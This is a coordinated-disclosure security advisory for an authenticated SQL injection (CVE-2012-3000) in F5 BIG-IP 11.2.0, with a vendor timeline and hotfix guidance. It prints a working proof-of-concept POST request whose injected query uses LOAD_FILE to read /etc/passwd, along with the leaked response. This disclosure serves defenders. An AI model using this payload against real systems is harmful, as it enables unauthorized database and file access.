SEC Consult Vulnerability Lab Security Advisory < 20130122-1 >
=======================================================================
title: SQL Injection
product: F5 BIG-IP
vulnerable version: <=11.2.0
fixed version: 11.2.0 HF3
11.2.1 HF3
CVE number: CVE-2012-3000
impact: Medium
homepage: www.f5.com
found: 2012-09-03
by: S. Viehböck
SEC Consult Vulnerability Lab
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Vendor/product description:
---------------------------
"The BIG-IP product suite is a system of application delivery services that
work together on the same best-in-class hardware platform or software virtual
instance. From load balancing and service offloading to acceleration and
security, the BIG-IP system delivers agilityand ensures your applications
are fast, secure, and available."
URL: www.f5.com/products/big-ip/
Vulnerability overview/description:
-----------------------------------
A SQL injection vulnerability exists in a BIG-IP component. This enables an
authenticated attacker to access the MySQL database with the rights of MySQL
user "root" (= highest privileges).
Furthermore an attacker can access files in the file system with the rights of
the "mysql" OS user.
Proof of concept:
-----------------
The following exploit shows how files can be extracted from the file system:
POST /sam/admin/reports/php/saveSettings.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 119
{
"id": 2,
"defaultQuery": "XX', ext1=(SELECT MID(LOAD_FILE('/etc/passwd'),0,60)) -- x"
}
Note: target fields are only VARCHAR(60) thus MID() is used for extracting
data.
A request to /sam/admin/reports/php/getSettings.php returns the data:
HTTP/1.1 200 OK
...
{success:true,totalCount:1,rows:[{"id":"2","user":"admin","defaultQuery":"XX","ext1":"root:x:0:0:root:\/root:\/bin\/bash\nbin:x:1:1:bin:\/bin:\/sbin\/nol","ext2":""}]}
Vulnerable / tested versions:
-----------------------------
The vulnerability has been verified to exist in the F5 BIG-IP version 11.2.0.
Successful exploitation was possible with Application Security (ASM) or Access
Policy (APM) enabled.
Vendor contact timeline:
------------------------
2012-10-04: Sending advisory draft and proof of concept.
2012-11-21: Vendor announces that fix will be provided with 11.2.0 HF3 and
11.2.1 HF3.
2013-01-22: SEC Consult releases coordinated security advisory.
Solution:
---------
Update to 11.2.0 HF3 or 11.2.1 HF3.
Workaround:
-----------
No workaround available.
Advisory URL:
--------------
www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
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Mail: research at sec-consult dot com
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EOF S. Viehböck / @2013